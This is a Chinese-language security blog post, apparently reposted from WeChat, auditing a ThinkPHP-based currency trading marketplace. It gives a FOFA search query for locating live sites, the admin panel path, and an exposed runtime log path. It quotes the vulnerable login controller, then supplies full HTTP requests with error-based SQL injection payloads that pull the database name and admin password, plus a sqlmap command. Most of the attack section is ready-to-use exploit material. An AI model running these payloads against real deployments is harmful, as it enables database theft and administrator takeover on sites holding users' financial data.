0x00 前言
在网上看到一套交易市场的源码，废了很大的劲终于下载下来.
看了一眼 发现是Thinkphp 3.2.3框架 且目录貌似设错了(没放到Public目录)，导致网站文件都可以直接被访问到. 后台地址:/Ag5FPmmjz9224@!.php
fofa语句:"/index.php/login/indexs.html"
0x01 日志信息泄露
直接访问 /Runtime/Logs/Admin/24_03_22.log 即可下载今日Admin日志，里边能直接看到管理员登录时的sql语句，包括后台的地址。
0x02 前台sql注入
在 /APP/Home/Controller/LoginController.class.php 控制器下，index方法的mobile直接被带入了where查询并且没有任何过滤导致sql注入.
public function index(){if(IS_POST){if(!tpCache('basic')['wzkg']){self::die_user();$this->ajaxReturn(L('gg_xz_b1'));}if(tpCache('basic')['home_ver_img']){if(!$this->check_verify($_POST['img_code'])){$this->ajaxReturn(L('not_yzm_bt'));die;}}$_POST['mobile'] = trim($_POST['mobile']);$_POST['password'] = $_POST['pwd'];$user = M('users')->where("mobile = '{$_POST['mobile']}'")->filter('strip_tags')->find();if(!$user['is_lock'] && $user){$this->ajaxReturn(L('not_dl_bb1'));die;}if(!$user){$this->ajaxReturn(L('not_dl_bb2'));die;}if($user['password'] != encrypts($_POST['password'])){$this->ajaxReturn(L('not_dl_bb3'));die;}$_SESSION['mobile'] = $user['mobile'];$_SESSION['user_id'] = $user['user_id'];if($_SESSION['mobile'] && $_SESSION['user_id']){$data['last_ip']=getip();$data['logintime']=time();$data['token']=md5(time().rand(1,99999));$_SESSION['user_key'] = $data['token'];unset($_SESSION['news_ck']);M('users')->where("user_id = '{$_SESSION['user_id']}'")->filter('strip_tags')->setField($data);//$ip = explode('.',getip())[0].'.*.*.'.explode('.',getip())[3];$ip =getip();xtjlcr($_SESSION['user_id'],'0',"登录系统[$ip]",'0','dlxt');$this->ajaxReturn('1');die;}else{$this->ajaxReturn(L('not_dl_bb4'));die;}}$this->display();}
但是注入时需要手动输入图形验证码 所以有些麻烦 Payload(注入出该站数据库):
POST /index.php/Login/index.html HTTP/1.1Content-Length: 111Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedCookie: deviceid=1708223329907; rockkefu_deviceid=1708240409582; think_language=zh-CN; PHPSESSID=1pp9vimuj0vqgtqnfjh21ba1l6Host: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/index.php/Login/index.htmlSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1Connection: closemobile=') AND GTID_SUBSET(CONCAT((MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,190))),1471)-- wIkR&pwd=123123&img_code=1752
Payload(注入出管理员密码,将下面的数据库换成上方的数据库):
POST /index.php/login/index.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 35Content-Type: application/x-www-form-urlencodedCookie: deviceid=1708223329907; rockkefu_deviceid=1708240409582; PHPSESSID=5k2f25hnejafamvlbmjdgao5i9; think_language=zh-cnHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/index.php/Login/index.htmlSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1mobile=') AND GTID_SUBSET(CONCAT((SELECT MID((IFNULL(CAST(password AS NCHAR),0x20)),1,190) FROM 数据库.tp_admin ORDER BY password LIMIT 1,1)),222)-- ins&pwd=123123&img_code=1752
使用sqlmap post注入.python sqlmap.py -r a.txt --proxy="http://127.0.0.1:8080" 需要转发到burp里手动修改验证码然后注入.
免责声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，文章作者和本公众号不承担任何法律及连带责任，望周知！！！
原文始发于微信公众号（星悦安全）：某多语言货币交易市场审计
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论